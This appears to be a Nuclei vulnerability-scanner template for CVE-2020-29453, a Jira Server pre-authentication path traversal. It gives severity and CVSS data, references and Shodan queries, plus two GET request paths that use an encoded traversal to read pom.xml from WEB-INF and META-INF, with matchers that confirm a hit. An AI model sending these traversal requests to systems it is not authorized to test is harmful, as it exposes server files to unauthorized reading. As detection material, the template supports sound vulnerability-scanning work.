id: CVE-2020-29453

info:
  name: Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF)
  author: dwisiswant0
  severity: medium
  description: The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check.
  impact: |
    An attacker can retrieve sensitive files containing configuration information, potentially leading to further exploitation or unauthorized access.
  remediation: |
    Apply the necessary patches or updates provided by Atlassian to fix the vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-72014
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29453
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-29453
    cwe-id: CWE-22
    epss-score: 0.86906
    epss-percentile: 0.99443
    cpe: cpe:2.3:a:atlassian:data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: atlassian
    product: data_center
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2020,atlassian,jira,lfi,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml"
      - "{{BaseURL}}/s/{{randstr}}/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <groupId>com.atlassian.jira</groupId>

      - type: status
        status:
          - 200
# digest: 490a004630440220281e094f6dfb3ae4258ef528f7d1e82cec953d95c6829a115e53ba9b537e7770022014d0c92d87610c3359a34901eda6f9fc99a8941b539c638f3e1791b01037eb8d:922c64590222798bb761d5b6d8e72950